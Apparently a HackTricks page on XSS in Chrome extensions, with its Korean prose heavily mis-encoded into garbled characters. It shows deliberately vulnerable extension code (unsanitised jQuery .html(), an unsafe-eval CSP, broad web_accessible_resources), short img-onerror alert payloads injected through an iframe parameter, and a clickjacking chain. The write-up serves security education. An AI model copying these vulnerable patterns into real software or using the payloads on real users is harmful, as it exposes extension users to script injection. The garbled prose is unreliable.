BrowExt - XSS ์์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Iframe์ ํตํ ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS)
์ด ์ค์ ์์๋ ์ฝํ ์ธ ์คํฌ๋ฆฝํธ๊ฐ Iframe์ ์ธ์คํด์คํํ๊ธฐ ์ํด ๊ตฌํ๋๋ฉฐ, Iframe์ ์์ค๋ก ์ฟผ๋ฆฌ ๋งค๊ฐ๋ณ์๊ฐ ํฌํจ๋ URL์ ์ฌ์ฉํฉ๋๋ค:
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
๊ณต๊ฐ์ ์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅํ HTML ํ์ด์ง, message.html,์ URL์ ๋งค๊ฐ๋ณ์์ ๋ฐ๋ผ ๋ฌธ์ ๋ณธ๋ฌธ์ ๋์ ์ผ๋ก ์ฝํ
์ธ ๋ฅผ ์ถ๊ฐํ๋๋ก ์ค๊ณ๋์์ต๋๋ค:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
์
์์ ์ธ ์คํฌ๋ฆฝํธ๊ฐ ์ ์ ํ์ด์ง์์ ์คํ๋์ด Iframe์ ์์ค์ content ๋งค๊ฐ๋ณ์๋ฅผ ์์ ํ์ฌ XSS ํ์ด๋ก๋๋ฅผ ๋์
ํฉ๋๋ค. ์ด๋ Iframe์ ์์ค๋ฅผ ํด๋ก์ด ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํ๋๋ก ์
๋ฐ์ดํธํจ์ผ๋ก์จ ๋ฌ์ฑ๋ฉ๋๋ค:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
๋๋ฌด ๊ด๋ํ ์ฝํ ์ธ ๋ณด์ ์ ์ฑ ์:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScript์ ์คํ์ ํ์ฉํ์ฌ ์์คํ ์ด XSS ๊ณต๊ฒฉ์ ์ทจ์ฝํด์ง๋๋ค.
XSS๋ฅผ ์ ๋ฐํ๋ ๋์์ ์ธ ์ ๊ทผ ๋ฐฉ์์ Iframe ์์๋ฅผ ์์ฑํ๊ณ ๊ทธ ์์ค๋ฅผ content ๋งค๊ฐ๋ณ์๋ก ์ ํดํ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํ๋๋ก ์ค์ ํ๋ ๊ฒ์
๋๋ค:
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
DOM ๊ธฐ๋ฐ XSS + ClickJacking
์ด ์์๋ ์๋ณธ ๊ฒ์๋ฌผ ์์ฑ์์ ๊ฐ์ ธ์จ ๊ฒ์ ๋๋ค.
ํต์ฌ ๋ฌธ์ ๋ **/html/bookmarks.html**์ ์์นํ DOM ๊ธฐ๋ฐ ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ
(XSS) ์ทจ์ฝ์ ์์ ๋ฐ์ํฉ๋๋ค. ๋ฌธ์ ์ JavaScript๋ **bookmarks.js**์ ์ผ๋ถ๋ก ์๋์ ์์ธํ ์ค๋ช
๋์ด ์์ต๋๋ค:
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
์ด ์ฝ๋ ์กฐ๊ฐ์ txtName ์
๋ ฅ ํ๋์์ ๊ฐ์ ๊ฐ์ ธ์ค๊ณ ๋ฌธ์์ด ์ฐ๊ฒฐ์ ์ฌ์ฉํ์ฌ HTML์ ์์ฑํ ๋ค์, jQuery์ .append() ํจ์๋ฅผ ์ฌ์ฉํ์ฌ DOM์ ์ถ๊ฐํฉ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก Chrome ํ์ฅ์ ์ฝํ
์ธ ๋ณด์ ์ ์ฑ
(CSP)์ ์ด๋ฌํ ์ทจ์ฝ์ ์ ๋ฐฉ์งํฉ๋๋ค. ๊ทธ๋ฌ๋ โunsafe-evalโ๋ก CSP ์ํ์ jQuery์ DOM ์กฐ์ ๋ฉ์๋ ์ฌ์ฉ(์ด ๋ฉ์๋๋ DOM ์ฝ์
์ eval()์ ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ฌํ๊ธฐ ์ํด globalEval()์ ์ฌ์ฉํจ)์ผ๋ก ์ธํด ์ฌ์ ํ ์
์ฉ์ด ๊ฐ๋ฅํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ค์ํ์ง๋ง, ๊ทธ ์ ์ฉ์ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ์ ์ํธ์์ฉ์ ์์กดํฉ๋๋ค: ํ์ด์ง ๋ฐฉ๋ฌธ, XSS ํ์ด๋ก๋ ์ ๋ ฅ, โ์ถ๊ฐโ ๋ฒํผ ํ์ฑํ.
์ด ์ทจ์ฝ์ ์ ๊ฐํํ๊ธฐ ์ํด, ๋ ๋ฒ์งธ ํด๋ฆญ์ฌํน ์ทจ์ฝ์ ์ด ์
์ฉ๋ฉ๋๋ค. Chrome ํ์ฅ์ ๋งค๋ํ์คํธ๋ ๊ด๋ฒ์ํ web_accessible_resources ์ ์ฑ
์ ๋ณด์ฌ์ค๋๋ค:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
ํนํ, /html/bookmarks.html ํ์ด์ง๋ ํ๋ ์ด๋ฐ์ ์ทจ์ฝํ์ฌ clickjacking์ ๋
ธ์ถ๋ฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์์ ์ฌ์ดํธ ๋ด์์ ํ์ด์ง๋ฅผ ํ๋ ์์ผ๋ก ์ค์ ํ๊ณ , DOM ์์๋ก ๋ฎ์ด์์ ์ธํฐํ์ด์ค๋ฅผ ๊ธฐ๋ง์ ์ผ๋ก ์ฌ์ค๊ณํ๋ ๋ฐ ํ์ฉ๋ฉ๋๋ค. ์ด๋ฌํ ์กฐ์์ ํผํด์๊ฐ ์๋์น ์๊ฒ ๊ธฐ๋ณธ ํ์ฅ๊ณผ ์ํธ์์ฉํ๊ฒ ๋ง๋ญ๋๋ค.
References
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


